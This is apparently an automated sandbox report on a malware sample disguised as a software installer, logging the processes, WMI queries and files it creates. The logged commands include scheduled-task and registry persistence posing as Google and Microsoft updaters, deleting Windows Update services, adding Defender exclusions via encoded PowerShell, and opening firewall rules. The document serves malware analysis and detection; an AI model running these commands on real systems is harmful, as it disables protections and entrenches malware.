Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process created: C:\Users\user\AppData\Local\Google\chrome.exe "C:\Users\user\AppData\Local\Google\chrome.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\user\AppData\Local\Google\ofg.exe C:\Users\user\AppData\Local\Google\ofg.exe
Source: C:\Users\user\AppData\Local\Google\ofg.exe	Process created: C:\Windows\SysWOW64\schtasks.exe SCHTASKS /Create /TR "C:\Users\user\AppData\Local\Google\ofg.exe" /TN "MicrosoftEdge{e60e5877-76e2-4b84-98a8-90161a4b47ca}" /SC ONLOGON /F /RL HIGHEST
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /create /tn \MicrosoftPlatformRenderer{37379bc5-bb9c-4fca-aa31-e33b4e087725} /tr "C:\Users\user\AppData\Local\Microsoft\conchsvt.exe" /st 00:00 /du 9999:59 /sc once /ri 1 /f
Source: C:\Users\user\AppData\Local\Google\brave.exe	Process created: C:\Windows\System32\cmd.exe cmd /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
Source: C:\Users\user\AppData\Local\Google\chrome.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -enC QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAnAEMAOgBcAFUAcwBlAHIAcwBcAFIAZQB2AGUAbABpAG4AJwAsACAAJwBDADoAXABQAHIAbwBnAHIAYQBtACAARgBpAGwAZQBzACcAKQAgAC0ARgBvAHIAYwBlAA==
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Google\brave.exe	Process created: C:\Windows\System32\cmd.exe cmd /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Google\chrome.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -enC UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0AUwB1AGIAbQBpAHQAUwBhAG0AcABsAGUAcwBDAG8AbgBzAGUAbgB0ACAAMgA=
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Google\brave.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell <#ecgxrz#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { "schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe'''" } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
Source: C:\Users\user\AppData\Local\Google\chrome.exe	Process created: C:\Windows\SysWOW64\schtasks.exe SCHTASKS /Create /TR "C:\Users\user\AppData\Local\Google\chrome.exe" /TN "GoogleUpdateTask{56c41dbe-92cb-4ab7-b423-bd40cb65f9fe}" /SC ONLOGON /F /RL HIGHEST
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop UsoSvc
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -hibernate-timeout-ac 0
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop WaaSMedicSvc
Source: C:\Users\user\AppData\Local\Google\chrome.exe	Process created: C:\Windows\SysWOW64\schtasks.exe SCHTASKS /Create /TR "C:\Users\user\AppData\Local\Google\chrome.exe" /TN "GoogleUpdateTaskUAC{0625ad4f-50a5-4d12-b200-288d853de0d5}" /SC HOURLY /F /MO 1 /RL HIGHEST
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Google\chrome.exe	Process created: C:\Windows\GoogleUpdate.exe C:\Windows\GoogleUpdate.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -hibernate-timeout-dc 0
Source: unknown	Process created: C:\Users\user\AppData\Local\Google\chrome.exe C:\Users\user\AppData\Local\Google\chrome.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop wuauserv
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop bits
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -standby-timeout-ac 0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process created: C:\Users\user\AppData\Local\Temp\conhost.exe "C:\Users\user\AppData\Local\Temp\conhost.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -standby-timeout-dc 0
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop dosvc
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
Source: C:\Windows\GoogleUpdate.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh firewall add allowedprogram "C:\Windows\GoogleUpdate.exe" "Google Updater" ENABLE ALL
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
Source: C:\Windows\GoogleUpdate.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh advfirewall firewall add rule name="Google Updater" dir=in action=allow program="C:\Windows\GoogleUpdate.exe" enable=yes
Source: C:\Windows\SysWOW64\netsh.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\GoogleUpdate.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh advfirewall firewall add rule name="Google Updater" dir=out action=allow program="C:\Windows\GoogleUpdate.exe" enable=yes
Source: C:\Windows\SysWOW64\netsh.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
Source: C:\Windows\SysWOW64\netsh.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f
Source: C:\Users\user\Desktop\softwareinstaller.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process created: C:\Users\user\AppData\Local\Microsoft\conchsvt.exe "C:\Users\user\AppData\Local\Microsoft\conchsvt.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process created: C:\Users\user\AppData\Local\Google\brave.exe "C:\Users\user\AppData\Local\Google\brave.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process created: C:\Users\user\AppData\Local\Google\ofg.exe "C:\Users\user\AppData\Local\Google\ofg.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process created: C:\Users\user\AppData\Local\Google\chrome.exe "C:\Users\user\AppData\Local\Google\chrome.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -hibernate-timeout-ac 0	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\conchsvt.exe	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /C schtasks /create /tn \MicrosoftPlatformRenderer{37379bc5-bb9c-4fca-aa31-e33b4e087725} /tr "C:\Users\user\AppData\Local\Microsoft\conchsvt.exe" /st 00:00 /du 9999:59 /sc once /ri 1 /f	Jump to behavior
Source: C:\Users\user\AppData\Local\Google\brave.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force	Jump to behavior
Source: C:\Users\user\AppData\Local\Google\brave.exe	Process created: C:\Windows\System32\cmd.exe cmd /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f	Jump to behavior
Source: C:\Users\user\AppData\Local\Google\brave.exe	Process created: C:\Windows\System32\cmd.exe cmd /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0	Jump to behavior
Source: C:\Users\user\AppData\Local\Google\brave.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell <#ecgxrz#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { "schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe'''" } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }	Jump to behavior
Source: C:\Users\user\AppData\Local\Google\brave.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Google\brave.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /create /tn \MicrosoftPlatformRenderer{37379bc5-bb9c-4fca-aa31-e33b4e087725} /tr "C:\Users\user\AppData\Local\Microsoft\conchsvt.exe" /st 00:00 /du 9999:59 /sc once /ri 1 /f	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\conchsvt.exe	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /C schtasks /create /tn \MicrosoftPlatformRenderer{37379bc5-bb9c-4fca-aa31-e33b4e087725} /tr "C:\Users\user\AppData\Local\Microsoft\conchsvt.exe" /st 00:00 /du 9999:59 /sc once /ri 1 /f	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /create /tn \MicrosoftPlatformRenderer{37379bc5-bb9c-4fca-aa31-e33b4e087725} /tr "C:\Users\user\AppData\Local\Microsoft\conchsvt.exe" /st 00:00 /du 9999:59 /sc once /ri 1 /f	Jump to behavior
Source: C:\Users\user\AppData\Local\Google\ofg.exe	Process created: C:\Windows\SysWOW64\schtasks.exe SCHTASKS /Create /TR "C:\Users\user\AppData\Local\Google\ofg.exe" /TN "MicrosoftEdge{e60e5877-76e2-4b84-98a8-90161a4b47ca}" /SC ONLOGON /F /RL HIGHEST	Jump to behavior
Source: C:\Users\user\AppData\Local\Google\chrome.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -enC QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAnAEMAOgBcAFUAcwBlAHIAcwBcAFIAZQB2AGUAbABpAG4AJwAsACAAJwBDADoAXABQAHIAbwBnAHIAYQBtACAARgBpAGwAZQBzACcAKQAgAC0ARgBvAHIAYwBlAA==
Source: C:\Users\user\AppData\Local\Google\chrome.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -enC UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0AUwB1AGIAbQBpAHQAUwBhAG0AcABsAGUAcwBDAG8AbgBzAGUAbgB0ACAAMgA=
Source: C:\Users\user\AppData\Local\Google\chrome.exe	Process created: C:\Windows\SysWOW64\schtasks.exe SCHTASKS /Create /TR "C:\Users\user\AppData\Local\Google\chrome.exe" /TN "GoogleUpdateTask{56c41dbe-92cb-4ab7-b423-bd40cb65f9fe}" /SC ONLOGON /F /RL HIGHEST
Source: C:\Users\user\AppData\Local\Google\chrome.exe	Process created: C:\Windows\SysWOW64\schtasks.exe SCHTASKS /Create /TR "C:\Users\user\AppData\Local\Google\chrome.exe" /TN "GoogleUpdateTaskUAC{0625ad4f-50a5-4d12-b200-288d853de0d5}" /SC HOURLY /F /MO 1 /RL HIGHEST
Source: C:\Users\user\AppData\Local\Google\chrome.exe	Process created: C:\Windows\GoogleUpdate.exe C:\Windows\GoogleUpdate.exe
Source: C:\Users\user\AppData\Local\Google\ofg.exe	Process created: C:\Windows\SysWOW64\schtasks.exe SCHTASKS /Create /TR "C:\Users\user\AppData\Local\Google\ofg.exe" /TN "MicrosoftEdge{e60e5877-76e2-4b84-98a8-90161a4b47ca}" /SC ONLOGON /F /RL HIGHEST
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop UsoSvc
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop WaaSMedicSvc
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop wuauserv
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop bits
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop dosvc
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -hibernate-timeout-ac 0
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -hibernate-timeout-dc 0
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -standby-timeout-ac 0
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -standby-timeout-dc 0
Source: C:\Windows\GoogleUpdate.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh firewall add allowedprogram "C:\Windows\GoogleUpdate.exe" "Google Updater" ENABLE ALL
Source: C:\Windows\GoogleUpdate.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh advfirewall firewall add rule name="Google Updater" dir=in action=allow program="C:\Windows\GoogleUpdate.exe" enable=yes
Source: C:\Windows\GoogleUpdate.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh advfirewall firewall add rule name="Google Updater" dir=out action=allow program="C:\Windows\GoogleUpdate.exe" enable=yes

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{CF4CC405-E2C5-4DDD-B3CE-5E7582D8C9FA}\InprocServer32

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process Where SessionId='1'
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process Where SessionId='1'
Source: C:\Users\user\AppData\Local\Microsoft\conchsvt.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Process
Source: C:\Users\user\AppData\Local\Microsoft\conchsvt.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Process
Source: C:\Users\user\AppData\Local\Microsoft\conchsvt.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Process
Source: C:\Users\user\AppData\Local\Microsoft\conchsvt.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Process
Source: C:\Users\user\AppData\Local\Microsoft\conchsvt.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Process
Source: C:\Users\user\AppData\Local\Microsoft\conchsvt.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Process
Source: C:\Users\user\AppData\Local\Microsoft\conchsvt.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Process
Source: C:\Users\user\AppData\Local\Microsoft\conchsvt.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Process
Source: C:\Users\user\AppData\Local\Microsoft\conchsvt.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Process
Source: C:\Users\user\AppData\Local\Microsoft\conchsvt.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Process
Source: C:\Users\user\AppData\Local\Microsoft\conchsvt.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Process
Source: C:\Users\user\AppData\Local\Microsoft\conchsvt.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Process
Source: C:\Users\user\AppData\Local\Microsoft\conchsvt.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Process
Source: C:\Users\user\AppData\Local\Microsoft\conchsvt.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Process
Source: C:\Users\user\AppData\Local\Microsoft\conchsvt.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Process
Source: C:\Users\user\AppData\Local\Microsoft\conchsvt.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Process
Source: C:\Users\user\AppData\Local\Microsoft\conchsvt.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Process
Source: C:\Users\user\AppData\Local\Microsoft\conchsvt.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Process
Source: C:\Users\user\AppData\Local\Microsoft\conchsvt.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Process
Source: C:\Users\user\AppData\Local\Microsoft\conchsvt.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Process
Source: C:\Users\user\AppData\Local\Microsoft\conchsvt.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Process
Source: C:\Users\user\AppData\Local\Microsoft\conchsvt.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Process
Source: C:\Users\user\AppData\Local\Microsoft\conchsvt.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Process
Source: C:\Users\user\AppData\Local\Microsoft\conchsvt.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Process
Source: C:\Users\user\AppData\Local\Microsoft\conchsvt.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Process
Source: C:\Users\user\AppData\Local\Microsoft\conchsvt.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Process
Source: C:\Users\user\AppData\Local\Microsoft\conchsvt.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Process
Source: C:\Users\user\AppData\Local\Microsoft\conchsvt.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Process
Source: C:\Users\user\AppData\Local\Microsoft\conchsvt.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Process
Source: C:\Users\user\AppData\Local\Microsoft\conchsvt.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Process
Source: C:\Users\user\AppData\Local\Microsoft\conchsvt.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Process
Source: C:\Users\user\AppData\Local\Microsoft\conchsvt.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Process
Source: C:\Users\user\AppData\Local\Microsoft\conchsvt.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Process
Source: C:\Users\user\AppData\Local\Microsoft\conchsvt.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Process
Source: C:\Users\user\AppData\Local\Microsoft\conchsvt.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Process
Source: C:\Users\user\AppData\Local\Microsoft\conchsvt.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Process
Source: C:\Users\user\AppData\Local\Microsoft\conchsvt.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Process
Source: C:\Users\user\AppData\Local\Microsoft\conchsvt.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Process
Source: C:\Users\user\AppData\Local\Microsoft\conchsvt.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Process
Source: C:\Users\user\AppData\Local\Microsoft\conchsvt.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Process
Source: C:\Users\user\AppData\Local\Microsoft\conchsvt.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Process
Source: C:\Users\user\AppData\Local\Microsoft\conchsvt.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Process
Source: C:\Users\user\AppData\Local\Microsoft\conchsvt.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Process
Source: C:\Users\user\AppData\Local\Microsoft\conchsvt.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Process
Source: C:\Users\user\AppData\Local\Microsoft\conchsvt.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Process
Source: C:\Users\user\AppData\Local\Microsoft\conchsvt.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Process
Source: C:\Users\user\AppData\Local\Microsoft\conchsvt.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Process
Source: C:\Users\user\AppData\Local\Microsoft\conchsvt.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Process
Source: C:\Users\user\AppData\Local\Microsoft\conchsvt.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Process
Source: C:\Users\user\AppData\Local\Microsoft\conchsvt.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Process
Source: C:\Users\user\AppData\Local\Microsoft\conchsvt.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Process
Source: C:\Users\user\AppData\Local\Microsoft\conchsvt.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Process
Source: C:\Users\user\AppData\Local\Microsoft\conchsvt.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Process
Source: C:\Users\user\AppData\Local\Microsoft\conchsvt.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Process
Source: C:\Users\user\AppData\Local\Microsoft\conchsvt.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Process
Source: C:\Users\user\AppData\Local\Microsoft\conchsvt.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Process

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe

File created: C:\Users\user\AppData\Local\Temp\conhost.exe

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\conchsvt.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\ac26e2af62f23e37e645b5e44068a025\mscorlib.ni.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\conchsvt.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\ac26e2af62f23e37e645b5e44068a025\mscorlib.ni.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\ac26e2af62f23e37e645b5e44068a025\mscorlib.ni.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\ac26e2af62f23e37e645b5e44068a025\mscorlib.ni.dll

